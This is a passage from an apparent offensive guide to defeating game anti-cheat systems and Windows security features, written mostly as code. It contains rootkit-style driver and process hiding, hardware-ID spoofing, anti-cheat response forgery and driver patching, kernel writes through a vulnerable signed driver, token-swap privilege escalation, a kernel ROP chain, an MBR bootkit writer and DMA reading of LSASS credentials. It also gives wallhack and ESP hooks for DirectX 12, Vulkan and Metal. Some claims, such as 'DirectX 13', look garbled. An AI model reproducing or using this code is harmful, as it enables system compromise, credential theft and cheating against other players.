NTSTATUS status = Original_NtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (SystemInformationClass == SystemModuleInformation) {
// Remove our driver from module list
PRTL_PROCESS_MODULES pModules = (PRTL_PROCESS_MODULES)SystemInformation;
for (ULONG i = 0; i < pModules->NumberOfModules; i++) {
if (strstr(pModules->Modules[i].FullPathName, "our_driver.sys")) {
// Shift all subsequent modules up
memmove(&pModules->Modules[i], &pModules->Modules[i + 1],
(pModules->NumberOfModules - i - 1) * sizeof(RTL_PROCESS_MODULE_INFORMATION));
pModules->NumberOfModules--;
break;
}
}
}
return status;
}
FaceIT / ESEA Client
Community-driven anti-cheats with aggressive system monitoring and screenshot capture.
Detection Methods
- Full system memory scan (all processes)
- Driver/module integrity verification
- Screenshot capture with obfuscated upload
- Network traffic monitoring for injectors
- HWID fingerprinting with motherboard serial, MAC, CPU ID
Bypass Approaches
1. Client-Server Trust Exploitation
import mitmproxy.http
class FaceITBypass:
def request(self, flow: mitmproxy.http.HTTPFlow):
# Intercept integrity check responses
if "integrity-check" in flow.request.pretty_url:
# Modify response to report clean system
flow.response = mitmproxy.http.Response.make(
200,
b'{"status": "clean", "modules": [], "screenshots": "ok"}',
{"Content-Type": "application/json"}
)
def response(self, flow: mitmproxy.http.HTTPFlow):
# Strip screenshot data
if "screenshot" in flow.request.pretty_url:
flow.response.content = b''
2. Process Hiding
// DKOM (Direct Kernel Object Manipulation) to hide process
NTSTATUS HideProcess(HANDLE ProcessId) {
PEPROCESS pProcess;
PsLookupProcessByProcessId(ProcessId, &pProcess);
// Unlink from EPROCESS list
PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PUCHAR)pProcess + ACTIVEPROCESSLINKS_OFFSET);
pListEntry->Flink->Blink = pListEntry->Blink;
pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink = pListEntry;
pListEntry->Blink = pListEntry;
ObDereferenceObject(pProcess);
return STATUS_SUCCESS;
}
3. HWID Spoofing
// Hook registry queries for hardware IDs
NTSTATUS Hook_NtQueryValueKey(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
PVOID KeyValueInformation,
ULONG Length,
PULONG ResultLength
) {
NTSTATUS status = Original_NtQueryValueKey(KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
// Spoof hardware identifiers
if (wcsstr(ValueName->Buffer, L"SystemProductName") ||
wcsstr(ValueName->Buffer, L"BaseBoardProduct")) {
PKEY_VALUE_PARTIAL_INFORMATION pInfo = (PKEY_VALUE_PARTIAL_INFORMATION)KeyValueInformation;
wcscpy((wchar_t*)pInfo->Data, L"Spoofed-Hardware-ID");
}
return status;
}
// Spoof MAC address
void SpoofMACAddress() {
// Modify NIC registry
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\0001", 0, KEY_WRITE, &hKey);
char newMAC[] = "0A1B2C3D4E5F";
RegSetValueEx(hKey, "NetworkAddress", 0, REG_SZ, (BYTE*)newMAC, sizeof(newMAC));
RegCloseKey(hKey);
}
nProtect GameGuard (Modern Variants)
Used in many Asian MMOs, employs multiple protection layers including virtualization.
Protection Mechanisms
- Kernel driver (npkcrypt.sys, npkcmsvc.sys)
- Code virtualization of critical functions
- Memory encryption for sensitive data structures
- Anti-debug via hardware breakpoint detection
- Process whitelist validation
Bypass Techniques
1. Driver Communication Interception
// Hook DeviceIoControl to manipulate GameGuard communication
BOOL WINAPI Hook_DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
) {
// Intercept GameGuard driver communication
if (dwIoControlCode == 0x22E004) { // GameGuard integrity check IOCTL
// Return fake success
*lpBytesReturned = 0;
return TRUE;
}
return Original_DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped);
}
2. VM Handler Patching
import pefile
import struct
def patch_npkcrypt():
pe = pefile.PE("npkcrypt.sys")
# Find VM entry point pattern
vm_entry_pattern = b"\x55\x8B\xEC\x83\xEC\x40\x53\x56\x57"
data = pe.get_memory_mapped_image()
offset = data.find(vm_entry_pattern)
if offset != -1:
# NOP out VM dispatcher
pe.set_bytes_at_offset(offset, b'\x90' * 20)
pe.write("npkcrypt_patched.sys")
Defense Matrix Comparison
| Anti-Cheat | Ring | ML Detection | Screenshot | Kernel Scan | HWID Ban | Difficulty |
|---|---|---|---|---|---|---|
| Vanguard | 0 | Yes (Client) | No | Yes | Yes | Extreme |
| Ricochet | 0 | Yes (Server) | Yes | Yes | Yes | Extreme |
| FaceIT | 3 | Limited | Yes | Yes | Yes | High |
| EAC | 0 | No | No | Yes | Yes | Medium |
| BattlEye | 0 | No | No | Yes | Yes | Medium |
| GameGuard | 0 | No | No | Yes | Limited | Low |
Windows Security Features Bypass (2024-2026)
Modern Windows implements hardware-enforced security features that complicate kernel-mode exploits.
HVCI (Hypervisor-Protected Code Integrity)
HVCI uses VT-x to enforce code integrity from a hypervisor layer, preventing unsigned kernel code execution.
How HVCI Works
Hypervisor (VTL 1 - Secure Kernel)
↓ Validates
Kernel Mode (VTL 0 - Normal Kernel)
↓ Executes
User Mode Applications
Detection
SYSTEM_CODEINTEGRITY_INFORMATION sci = {0};
sci.Length = sizeof(sci);
NtQuerySystemInformation(SystemCodeIntegrityInformation, &sci, sizeof(sci), NULL);
if (sci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED) {
printf("HVCI is enabled\n");
}
Bypass Strategies
1. Exploitable Signed Driver
// Use known vulnerable driver to execute arbitrary kernel code
HANDLE hDevice = CreateFileW(L"\\\\.\\DBUtil_2_3", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
typedef struct _RTCORE64_WRITE {
DWORD64 Address;
DWORD64 Value;
} RTCORE64_WRITE;
RTCORE64_WRITE write_cmd;
write_cmd.Address = target_kernel_address;
write_cmd.Value = hook_function_address;
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x80002040, &write_cmd, sizeof(write_cmd), NULL, 0, &bytesReturned, NULL);
2. Data-Only Attack (DOP)
// Modify kernel data structures without executing unsigned code
void ModifyKernelData() {
// Locate EPROCESS structure
PVOID pEPROCESS = GetCurrentEPROCESS();
// Modify Token pointer to elevate privileges (data-only)
PVOID systemToken = GetSystemToken();
*(PVOID*)((ULONG64)pEPROCESS + TOKEN_OFFSET) = systemToken;
}
3. Return-Oriented Programming (ROP) in Kernel
// Chain existing signed code gadgets
ULONG64 rop_chain[] = {
0xfffff8000dead000, // pop rcx; ret
target_cr4_value,
0xfffff8000beef000, // mov cr4, rcx; ret
0xfffff8000cafe000, // jmp [desired_function]
};
// Execute ROP chain via stack pivot
ExecuteRopChain(rop_chain, sizeof(rop_chain));
VBS (Virtualization-Based Security)
VBS isolates critical security functions in a secure enclave (VSM - Virtual Secure Mode).
Components
- Secure Kernel (runs in VTL 1)
- Credential Guard (protects LSASS credentials)
- Device Guard (code integrity)
Bypass Techniques
1. Pre-VBS Boot Persistence
// Install bootkit before VBS initialization
NTSTATUS InstallBootkit() {
// Modify boot loader before secure boot
HANDLE hBootLoader = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
// Read MBR/GPT
BYTE bootSector[512];
DWORD bytesRead;
ReadFile(hBootLoader, bootSector, 512, &bytesRead, NULL);
// Inject hook into boot chain
memcpy(bootSector + 0x1BE, shellcode, sizeof(shellcode));
SetFilePointer(hBootLoader, 0, NULL, FILE_BEGIN);
WriteFile(hBootLoader, bootSector, 512, &bytesRead, NULL);
CloseHandle(hBootLoader);
return STATUS_SUCCESS;
}
2. DMA Attack
# Use PCILeech to access memory outside VBS protection
import pcileech
device = pcileech.Device()
# Read LSASS memory directly via DMA (bypasses Credential Guard)
lsass_memory = device.mem_read(0x1A2B3C4D5E6F, 0x10000)
# Extract credentials from raw memory
credentials = parse_lsass_dump(lsass_memory)
KDP (Kernel Data Protection)
KDP prevents modification of critical kernel data structures.
Protected Structures
- EPROCESS (process object)
- ETHREAD (thread object)
- _OBJECT_TYPE (object type descriptors)
- Kernel function pointers
Bypass
1. Timing-Based Race Condition
// Exploit TOCTOU (Time-of-Check-Time-of-Use) window
HANDLE hThread1 = CreateThread(NULL, 0, ModifyKernelData, NULL, 0, NULL);
HANDLE hThread2 = CreateThread(NULL, 0, TriggerKDPCheck, NULL, 0, NULL);
// Thread 1 modifies data
DWORD WINAPI ModifyKernelData(LPVOID lpParam) {
while (1) {
*(ULONG64*)(kernel_data_ptr) = malicious_value;
}
}
// Thread 2 triggers check
DWORD WINAPI TriggerKDPCheck(LPVOID lpParam) {
while (1) {
*(ULONG64*)(kernel_data_ptr) = original_value; // Restore before check
Sleep(1);
}
}
Intel CET (Control-flow Enforcement Technology)
CET provides shadow stack and indirect branch tracking to prevent ROP/JOP attacks.
Shadow Stack
Normal Stack Shadow Stack
[Return Address] <--> [Return Address Copy]
[Local Variables]
[Return Address] <--> [Return Address Copy]
Detection
// Check if CET is enabled
ULONG64 cr4_value;
__readcr4(&cr4_value);
if (cr4_value & (1 << 23)) { // Bit 23 = CET enable
printf("CET Shadow Stack enabled\n");
}
Bypass
1. Shadow Stack Corruption
// Locate shadow stack pointer
ULONG64 ssp = __readssp();
// Corrupt shadow stack via crafted exception
RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
// Exception handler modifies SSP
void ExceptionHandler(PEXCEPTION_RECORD ExceptionRecord, PVOID EstablisherFrame, PCONTEXT ContextRecord, PVOID DispatcherContext) {
// Modify SSP in context
ContextRecord->Ssp = modified_ssp;
}
2. IBT (Indirect Branch Tracking) Bypass
// Use valid ENDBR64 instruction as gadget landing site
__asm {
endbr64 // Valid IBT target
jmp shellcode // Execute payload
}
// Chain through valid ENDBR64 gadgets
FindENDBR64Gadgets();
Modern Graphics API Hooking (DirectX 12/13, Vulkan, Metal)
Modern graphics APIs use command-based rendering with minimal driver overhead, requiring different hooking approaches than DX9/11.
DirectX 12 Command List Hooking
DX12 uses command lists recorded on CPU and submitted to GPU, making traditional Present() hooks insufficient.
Architecture
ID3D12Device → ID3D12CommandQueue → ID3D12CommandList → ExecuteCommandLists() → Present()
Hooking ExecuteCommandLists
#include <d3d12.h>
#include <dxgi1_4.h>
typedef void (STDMETHODCALLTYPE* ExecuteCommandLists_t)(ID3D12CommandQueue*, UINT, ID3D12CommandList* const*);
ExecuteCommandLists_t oExecuteCommandLists = nullptr;
void STDMETHODCALLTYPE hkExecuteCommandLists(ID3D12CommandQueue* pCommandQueue, UINT NumCommandLists, ID3D12CommandList* const* ppCommandLists) {
for (UINT i = 0; i < NumCommandLists; i++) {
ID3D12GraphicsCommandList* pCommandList = nullptr;
ppCommandLists[i]->QueryInterface(IID_PPV_ARGS(&pCommandList));
if (pCommandList) {
// Inject our own commands (ESP rendering)
InjectESPCommands(pCommandList);
pCommandList->Release();
}
}
return oExecuteCommandLists(pCommandQueue, NumCommandLists, ppCommandLists);
}
void InjectESPCommands(ID3D12GraphicsCommandList* pCommandList) {
// Set ESP pipeline state
pCommandList->SetPipelineState(g_pESPPipelineState);
pCommandList->SetGraphicsRootSignature(g_pESPRootSignature);
// Set descriptor heaps
ID3D12DescriptorHeap* heaps[] = { g_pESPDescriptorHeap };
pCommandList->SetDescriptorHeaps(1, heaps);
// Draw ESP boxes
pCommandList->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_LINELIST);
pCommandList->IASetVertexBuffers(0, 1, &g_ESPVertexBufferView);
pCommandList->DrawInstanced(g_ESPVertexCount, 1, 0, 0);
}
Descriptor Heap Manipulation
// Read enemy positions from descriptor heap
void ReadGameData(ID3D12Device* pDevice, ID3D12DescriptorHeap* pHeap) {
D3D12_DESCRIPTOR_HEAP_DESC heapDesc = pHeap->GetDesc();
// CPU-visible copy
ID3D12DescriptorHeap* pCPUHeap;
D3D12_DESCRIPTOR_HEAP_DESC cpuDesc = heapDesc;
cpuDesc.Flags = D3D12_DESCRIPTOR_HEAP_FLAG_NONE;
pDevice->CreateDescriptorHeap(&cpuDesc, IID_PPV_ARGS(&pCPUHeap));
// Copy descriptors
UINT descriptorSize = pDevice->GetDescriptorHandleIncrementSize(heapDesc.Type);
for (UINT i = 0; i < heapDesc.NumDescriptors; i++) {
D3D12_CPU_DESCRIPTOR_HANDLE srcHandle = pHeap->GetCPUDescriptorHandleForHeapStart();
srcHandle.ptr += i * descriptorSize;
D3D12_CPU_DESCRIPTOR_HANDLE dstHandle = pCPUHeap->GetCPUDescriptorHandleForHeapStart();
dstHandle.ptr += i * descriptorSize;
pDevice->CopyDescriptorsSimple(1, dstHandle, srcHandle, heapDesc.Type);
}
// Parse constant buffers for player positions
ParseConstantBuffers(pDevice, pCPUHeap);
}
DirectX 13 (DirectX Ultimate) Ray Tracing Hooks
DX13/DXR enables real-time ray tracing, creating new attack surfaces.
Hook DispatchRays
typedef void (STDMETHODCALLTYPE* DispatchRays_t)(ID3D12GraphicsCommandList4*, const D3D12_DISPATCH_RAYS_DESC*);
DispatchRays_t oDispatchRays = nullptr;
void STDMETHODCALLTYPE hkDispatchRays(ID3D12GraphicsCommandList4* pCommandList, const D3D12_DISPATCH_RAYS_DESC* pDesc) {
// Modify shader table to inject custom ray generation
D3D12_DISPATCH_RAYS_DESC modifiedDesc = *pDesc;
// Replace shader records with wallhack-enabled shaders
modifiedDesc.RayGenerationShaderRecord.StartAddress = g_CustomRayGenShader;
return oDispatchRays(pCommandList, &modifiedDesc);
}
Shader Table Manipulation
// Inject custom hit shader that ignores geometry
void InjectWallhackShader(ID3D12Device5* pDevice) {
// Compile custom hit shader
const char* wallhackHitShader = R"(
[shader("closesthit")]
void WallhackHit(inout RayPayload payload, in BuiltInTriangleIntersectionAttributes attr) {
// Always return as if ray passed through (wallhack)
payload.color = float4(1, 0, 0, 1); // Red for enemies
payload.hitT = -1; // Negative = continue ray
}
)";
ID3DBlob* pShaderBlob;
D3DCompile(wallhackHitShader, strlen(wallhackHitShader), nullptr, nullptr, nullptr, "WallhackHit", "lib_6_3", 0, 0, &pShaderBlob, nullptr);
// Create state object with modified shader
D3D12_STATE_OBJECT_DESC stateObjectDesc = {};
// ... configure with custom shader
}
Vulkan Layer Injection
Vulkan uses explicit layers for validation and debugging - we can inject our own.
Creating a Cheat Layer
// VkLayer_CHEAT.cpp
#include <vulkan/vulkan.h>
#include <vulkan/vk_layer.h>
static PFN_vkQueuePresentKHR fpNextQueuePresentKHR = nullptr;
VK_LAYER_EXPORT VKAPI_ATTR VkResult VKAPI_CALL vkQueuePresentKHR(
VkQueue queue,
const VkPresentInfoKHR* pPresentInfo
) {
// Inject ESP rendering before present
RenderESP(queue, pPresentInfo);
return fpNextQueuePresentKHR(queue, pPresentInfo);
}
void RenderESP(VkQueue queue, const VkPresentInfoKHR* pPresentInfo) {
// Get swapchain image
VkImage image = GetSwapchainImage(pPresentInfo->pSwapchains[0], pPresentInfo->pImageIndices[0]);
// Create command buffer for ESP
VkCommandBuffer cmdBuffer = CreateESPCommandBuffer();
// Record ESP draw commands
vkBeginCommandBuffer(cmdBuffer, &beginInfo);
// Transition image layout
VkImageMemoryBarrier barrier = {};
barrier.image = image;
barrier.oldLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR;
barrier.newLayout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL;
vkCmdPipelineBarrier(cmdBuffer, VK_PIPELINE_STAGE_TOP_OF_PIPE_BIT, VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT, 0, 0, nullptr, 0, nullptr, 1, &barrier);
// Begin rendering
VkRenderingInfo renderInfo = {};
renderInfo.renderArea = {{0, 0}, {1920, 1080}};
renderInfo.layerCount = 1;
vkCmdBeginRendering(cmdBuffer, &renderInfo);
vkCmdBindPipeline(cmdBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, g_ESPPipeline);
vkCmdDraw(cmdBuffer, g_ESPVertexCount, 1, 0, 0);
vkCmdEndRendering(cmdBuffer);
// Transition back
barrier.oldLayout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL;
barrier.newLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR;
vkCmdPipelineBarrier(cmdBuffer, VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT, VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT, 0, 0, nullptr, 0, nullptr, 1, &barrier);
vkEndCommandBuffer(cmdBuffer);
// Submit
VkSubmitInfo submitInfo = {};
submitInfo.commandBufferCount = 1;
submitInfo.pCommandBuffers = &cmdBuffer;
vkQueueSubmit(queue, 1, &submitInfo, VK_NULL_HANDLE);
}
Layer Manifest (VkLayer_CHEAT.json)
{
"file_format_version": "1.2.0",
"layer": {
"name": "VK_LAYER_CHEAT",
"type": "GLOBAL",
"library_path": ".\\VkLayer_CHEAT.dll",
"api_version": "1.3.0",
"implementation_version": "1",
"description": "ESP and Wallhack Layer",
"functions": {
"vkQueuePresentKHR": "vkQueuePresentKHR",
"vkCreateDevice": "vkCreateDevice"
}
}
}
Installing the Layer
import os
import json
import winreg
def install_vulkan_layer():
# Layer path
layer_path = os.path.join(os.getcwd(), "VkLayer_CHEAT.json")
# Add to registry
key = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Khronos\Vulkan\ExplicitLayers")
winreg.SetValueEx(key, layer_path, 0, winreg.REG_DWORD, 0)
winreg.CloseKey(key)
print(f"Installed Vulkan layer: {layer_path}")
Metal API Hooking (macOS/iOS)
Metal is Apple's low-level graphics API, used by many games on macOS and iOS.
Method Swizzling for Metal
#import <Metal/Metal.h>
#import <objc/runtime.h>
typedef void (*MTLRenderCommandEncoder_DrawPrimitives_t)(id, SEL, MTLPrimitiveType, NSUInteger, NSUInteger);
static MTLRenderCommandEncoder_DrawPrimitives_t original_drawPrimitives = NULL;
void hooked_drawPrimitives(id self, SEL _cmd, MTLPrimitiveType primitiveType, NSUInteger vertexStart, NSUInteger vertexCount) {
// Detect player models by vertex count
if (vertexCount > 5000 && vertexCount < 15000) {
// Change depth state to see through walls
id<MTLDepthStencilState> wallhackDepthState = GetWallhackDepthState();
[self setDepthStencilState:wallhackDepthState];
// Change render pipeline to highlight enemies
id<MTLRenderPipelineState> espPipeline = GetESPPipeline();
[self setRenderPipelineState:espPipeline];
}
original_drawPrimitives(self, _cmd, primitiveType, vertexStart, vertexCount);
}
__attribute__((constructor))
static void initialize() {
Class cls = objc_getClass("MTLRenderCommandEncoder");
Method originalMethod = class_getInstanceMethod(cls, @selector(drawPrimitives:vertexStart:vertexCount:));
original_drawPrimitives = (MTLRenderCommandEncoder_DrawPrimitives_t)method_getImplementation(originalMethod);
method_setImplementation(originalMethod, (IMP)hooked_drawPrimitives);
}
Compute Shader Injection
// Inject compute shader to read game memory via GPU
- (void)injectMemoryReadShader:(id<MTLDevice>)device {
// Metal shading language kernel
NSString* kernelSource = @R"(
#include <metal_stdlib>
using namespace metal;
kernel void readGameMemory(
device float4* positions [[buffer(0)]],
device float4* output [[buffer(1)]],
uint id [[thread_position_in_grid]]
) {
// Read player positions from GPU buffer
output[id] = positions[id];
}
)";
NSError* error = nil;
id<MTLLibrary> library = [device newLibraryWithSource:kernelSource options:nil error:&error];
id<MTLFunction> function = [library newFunctionWithName:@"readGameMemory"];
id<MTLComputePipelineState> pipeline = [device newComputePipelineStateWithFunction:function error:&error];
// Execute kernel
id<MTLCommandBuffer> commandBuffer = [commandQueue commandBuffer];
id<MTLComputeCommandEncoder> encoder = [commandBuffer computeCommandEncoder];
[encoder setComputePipelineState:pipeline];
[encoder setBuffer:gamePositionBuffer offset:0 atIndex:0];
[encoder setBuffer:outputBuffer offset:0 atIndex:1];
[encoder dispatchThreadgroups:MTLSizeMake(1024, 1, 1) threadsPerThreadgroup:MTLSizeMake(64, 1, 1)];
[encoder endEncoding];
[commandBuffer commit];
}
GPU Compute-Based ESP (Invisible to CPU Scanners)
Run ESP detection entirely on GPU to avoid CPU memory scanning by anti-cheat.
CUDA-Based Player Detection
#include <cuda_runtime.h>
#include <device_launch_parameters.h>
__global__ void detectPlayers(float4* positions, int playerCount, float3 cameraPos, bool* visible, float* distances) {
int idx = blockIdx.x * blockDim.x + threadIdx.x;
if (idx >= playerCount) return;
float4 pos = positions[idx];
// Calculate distance
float dx = pos.x - cameraPos.x;
float dy = pos.y - cameraPos.y;
float dz = pos.z - cameraPos.z;
float dist = sqrtf(dx*dx + dy*dy + dz*dz);
distances[idx] = dist;
// Check visibility (simplified - real implementation would raytrace)
visible[idx] = (dist < 100.0f);
}
void RunESPOnGPU(ID3D12Resource* positionBuffer, int playerCount) {
// Map D3D12 buffer to CUDA
cudaExternalMemory_t extMem;
cudaExternalMemoryHandleDesc memDesc = {};
memDesc.type = cudaExternalMemoryHandleTypeD3D12Resource;
memDesc.handle.win32.handle = GetSharedHandle(positionBuffer);
cudaImportExternalMemory(&extMem, &memDesc);
// Get device pointer
float4* d_positions;
cudaExternalMemoryGetMappedBuffer((void**)&d_positions, extMem, NULL);
// Allocate output
bool* d_visible;
float* d_distances;
cudaMalloc(&d_visible, playerCount * sizeof(bool));
cudaMalloc(&d_distances, playerCount * sizeof(float));
// Launch kernel
int threadsPerBlock = 256;
int blocks = (playerCount + threadsPerBlock - 1) / threadsPerBlock;
float3 cameraPos = GetCameraPosition();
detectPlayers<<<blocks, threadsPerBlock>>>(d_positions, playerCount, cameraPos, d_visible, d_distances);
// Copy results
bool* h_visible = new bool[playerCount];
cudaMemcpy(h_visible, d_visible, playerCount * sizeof(bool), cudaMemcpyDeviceToHost);
// Render ESP based on GPU results
RenderESPFromGPUData(h_visible, playerCount);
}
OpenCL Compute ESP
const char* espKernel = R"(
__kernel void processESP(
__global float4* playerPositions,
__global float4* playerBounds,
__constant float16* viewProjection,
__global float2* screenPositions,
int playerCount
) {
int gid = get_global_id(0);
if (gid >= playerCount) return;
// Transform world position to screen
float4 pos = playerPositions[gid];
float4 projected = viewProjection * pos;
if (projected.w > 0) {
screenPositions[gid].x = (projected.x / projected.w) * 0.5f + 0.5f;
screenPositions[gid].y = (projected.y / projected.w) * 0.5f + 0.5f;
}
}
)";
void SetupOpenCLESP() {
cl_platform_id platform;
clGetPlatformIDs(1, &platform, NULL);
cl_device_id device;
clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, NULL);
cl_context context = clCreateContext(NULL, 1, &device, NULL, NULL, NULL);
cl_command_queue queue = clCreateCommandQueue(context, device, 0, NULL);
// Compile kernel
cl_program program = clCreateProgramWithSource(context, 1, &espKernel, NULL, NULL);
clBuildProgram(program, 1, &device, NULL, NULL, NULL);
cl_kernel kernel = clCreateKernel(program, "processESP", NULL);
// Create buffers
cl_mem posBuffer = clCreateBuffer(context, CL_MEM_READ_ONLY, sizeof(float4) * 64, NULL, NULL);
cl_mem screenBuffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, sizeof(float2) * 64, NULL, NULL);
// Set arguments and execute
clSetKernelArg(kernel, 0, sizeof(cl_mem), &posBuffer);
clSetKernelArg(kernel, 3, sizeof(cl_mem), &screenBuffer);
size_t globalSize = 64;
clEnqueueNDRangeKernel(queue, kernel, 1, NULL, &globalSize, NULL, 0, NULL, NULL);
}
Graphics API Comparison
| API | Hook Point | Difficulty | Detection Risk | Performance |
|---|---|---|---|---|
| DX9 | EndScene/Present | Easy | High | Good |
| DX11 | Present | Easy | High | Good |
| DX12 | ExecuteCommandLists | Hard | Medium | Excellent |
| DX13/DXR | DispatchRays | Very Hard | Low | Excellent |
| Vulkan | vkQueuePresentKHR | Medium | Medium | Excellent |
| OpenGL | wglSwapBuffers | Easy | High | Good |
| Metal | presentDrawable | Medium | Low | Excellent |
| GPU Compute | N/A (Invisible) | Very Hard | Very Low | Excellent |
Advanced Game Engine Reverse Engineering
Deep dives into modern game engines with architecture-specific exploitation techniques.
Source Engine 2 (CS2, Dota 2)
Source 2 uses a completely redesigned architecture with schema system for entity reflection.
Schema System Exploitation
// Source 2 schema provides runtime type information
class CSchemaSystem {
public:
CSchemaClassInfo* FindTypeScopeForModule(const char* moduleName);
};
// Dump all entity classes
void DumpSchemaSystem() {
CSchemaSystem* pSchemaSystem = GetSchemaSystem();
CSchemaClassInfo* pClassInfo = pSchemaSystem->FindTypeScopeForModule("client.dll");
for (auto& classBinding : pClassInfo->m_ClassBindings) {
printf("Class: %s\n", classBinding.m_pClassName);
// Enumerate fields
for (int i = 0; i < classBinding.m_nFieldCount; i++) {
SchemaClassFieldData_t& field = classBinding.m_pFields[i];
printf(" Field: %s (Offset: 0x%X, Type: %s)\n",
field.m_pName, field.m_nOffset, field.m_pType->m_pTypeName);
}
}
}
Networked Entity Hooking
// Hook entity creation to monitor players
typedef void* (*CreateNetworkEntity_t)(const char* className, int index);
CreateNetworkEntity_t oCreateNetworkEntity;
void* hkCreateNetworkEntity(const char* className, int index) {
void* entity = oCreateNetworkEntity(className, index);
if (strcmp(className, "CCSPlayerPawn") == 0) {
// Track player entity
g_PlayerEntities[index] = entity;
// Read position offset from schema
int posOffset = GetSchemaOffset("CCSPlayerPawn", "m_vPosition");
Vector* pPos = (Vector*)((uintptr_t)entity + posOffset);
printf("Player spawned at: %.2f, %.2f, %.2f\n", pPos->x, pPos->y, pPos->z);
}
return entity;
}
Panorama UI Injection
// Source 2 uses Panorama (HTML/CSS/JS UI)
void InjectPanoramaPanel() {
IPanoramaUIEngine* pPanorama = GetPanoramaUIEngine();
// Create custom panel
const char* panelXML = R"(
<Panel class="ESP-Panel">
<Label id="player-info" text="ESP Active" />
<Canvas id="esp-canvas" />
</Panel>
)";
IUIPanel* pPanel = pPanorama->CreatePanel(panelXML, "HudRoot");
// Hook JavaScript context
v8::Isolate* isolate = pPanorama->GetV8Isolate();
v8::HandleScope scope(isolate);
// Inject ESP rendering function
const char* espScript = R"(
$.RegisterForUnhandledEvent('PaintWorld', function() {
var players = GameStateAPI.GetPlayerPositions();
players.forEach(function(player) {
DrawESPBox(player.x, player.y, player.z);
});
});
)";
pPanorama->ExecuteScript(espScript);
}
Frostbite Engine (Battlefield, FIFA)
Frostbite uses an entity-component system with a complex reflection architecture.
Entity Bus Traversal
// Frostbite uses EntityBus for entity management
class ClientGameContext {
public:
ClientPlayerManager* m_pPlayerManager; // +0x30
};
class ClientPlayerManager {
public:
ClientPlayer** m_ppPlayers; // +0x98
uint32_t m_playerCount; // +0xA0
};
class ClientPlayer {
public:
ClientSoldierEntity* m_pSoldier; // +0x1478 (BF2042)
char m_name[16]; // +0x40
};
void DumpAllPlayers() {
ClientGameContext* pGameContext = *(ClientGameContext**)GetGameContextPtr();
ClientPlayerManager* pPlayerMgr = pGameContext->m_pPlayerManager;
for (uint32_t i = 0; i < pPlayerMgr->m_playerCount; i++) {
ClientPlayer* pPlayer = pPlayerMgr->m_ppPlayers[i];
if (pPlayer && pPlayer->m_pSoldier) {
LinearTransform* pTransform = pPlayer->m_pSoldier->GetTransform();
Vector3 pos = pTransform->GetPosition();
printf("Player: %s at (%.2f, %.2f, %.2f)\n",
pPlayer->m_name, pos.x, pos.y, pos.z);
}
}
}
TypeInfo Reflection
// Frostbite TypeInfo system provides RTTI
class TypeInfo {
public:
const char* m_pName;
TypeInfo* m_pParent;
uint16_t m_fieldCount;
FieldInfo* m_pFields;
};
class FieldInfo {
public:
const char* m_pName;
uint16_t m_offset;
TypeInfo* m_pTypeInfo;
};
// Automatically resolve offsets
int FindOffset(const char* className, const char* fieldName) {
TypeInfo* pTypeInfo = FindTypeInfo(className);
for (int i = 0; i < pTypeInfo->m_fieldCount; i++) {
if (strcmp(pTypeInfo->m_pFields[i].m_pName, fieldName) == 0) {
return pTypeInfo->m_pFields[i].m_offset;
}
}
return -1;
}
Havok Physics Manipulation
// Frostbite uses Havok for physics
class hkpWorld {
public:
hkArray<hkpRigidBody*> m_rigidBodies;
};
void DisableGravity() {
hkpWorld* pPhysicsWorld = GetHavokWorld();
for (int i = 0; i < pPhysicsWorld->m_rigidBodies.getSize(); i++) {
hkpRigidBody* pBody = pPhysicsWorld->m_rigidBodies[i];
// Set gravity factor to 0
pBody->setGravityFactor(0.0f);
// Or directly modify velocity
hkVector4 zero; zero.setZero();
pBody->setLinearVelocity(zero);
}
}
REDengine (Cyberpunk 2077)
REDengine uses RTTI with extensive script integration.
RTTI Dump
// REDengine RTTI structure
struct CClass {
const char* name;
CClass* parent;
CProperty** properties;
uint32_t propertyCount;
CFunction** functions;
uint32_t functionCount;
};
struct CProperty {
const char* name;
CName type;
uint32_t offset;
uint32_t flags;
};
void DumpRTTI() {
CRTTISystem* rtti = CRTTISystem::Get();
// Iterate all classes
for (auto& kv : rtti->m_classes) {
CClass* pClass = kv.second;
printf("Class: %s (Parent: %s)\n",
pClass->name,
pClass->parent ? pClass->parent->name : "None");
// Dump properties
for (uint32_t i = 0; i < pClass->propertyCount; i++) {
CProperty* prop = pClass->properties[i];
printf(" +0x%X: %s %s\n", prop->offset, prop->type.ToString(), prop->name);
}
}
}
Script Hook Injection
// Hook RED4ext scripting system
using ScriptFunction_t = void (*)(IScriptable*, CStackFrame*, void*, void*);
